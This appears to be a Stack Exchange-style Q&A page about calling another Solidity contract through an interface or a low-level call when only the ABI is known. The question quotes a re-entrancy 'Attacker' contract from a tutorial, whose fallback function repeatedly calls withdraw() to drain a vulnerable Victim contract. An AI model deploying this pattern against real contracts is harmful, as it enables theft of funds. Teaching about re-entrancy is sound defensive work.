3

What is the minimum amount of information you need to know to call a contract from another contract?

In this re-entrancy tutorial we see the following source code to "attack" a contract.

pragma solidity ^0.4.8;

import './Victim.sol';

contract Attacker {
  Victim victim;

  function Attacker(address victimAddress) {
    victim = Victim(victimAddress);
  }

  function attack() {
    victim.withdraw();
  }

  // Fallback function which is called whenever Attacker receives ether
  function () payable {
    if (victim.balance >= msg.value) {
      victim.withdraw();
    }
  }
}

This Attacker contract is able to call the Victim contract with access to its source code. Is it possible to call another contract's functions if the ABI is known, but not the source code itself. Is that possible with Solidity and how?

  • All calls from a contract cost gas. Careful with your fallback function, as mentioned, you should make sure your contract account has enough gas to make the call to withdraw from victim, otherwise you'll be the victim and lose your funds and the txn will revert. – GViz May 29 '18 at 20:06
8

Yes, it's possible.

contract Called{
    uint public myuint;

    function set(uint _var) {
        myuint = _var;
    }
}

interface Called{
    function set(uint);
    function get() view returns (uint);
}

contract Caller {

    Called public called_address;

    function set_address(address _addy) {
        called_address = Called(_addy);
    }

    function set(uint256 _var) {
        called_address.set(_var);
    } 

    function set_call(address _called, uint256 _var) {
        require(_called.call(bytes4(sha3("set(uint256)")), _var));
    }
}

You have two different ways of doing it as shown above.

  • Keep in mind, calling a contract from another contract always requires gas, even if the function is marked view. @eli-drion correct me if I'm wrong. – GViz May 29 '18 at 19:53
  • Also 2 things to note: function get() is redundant as marking a state variable (e.g. myuint) public generates a getter function by definition (although you may need to rely on an abstract contract instead of interface). Using the call method results in cheaper deployment of your contract, particularly since your compiler does not have to be aware of the contract Called. However, it's strongly recommended to use the defined method (function set) since type and argument is enforced and errors reported only in this case. – GViz Oct 3 '18 at 22:14
  • @Eli Drion Does set and set_call function call consumes same amout of gas? – alper Aug 11 at 20:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.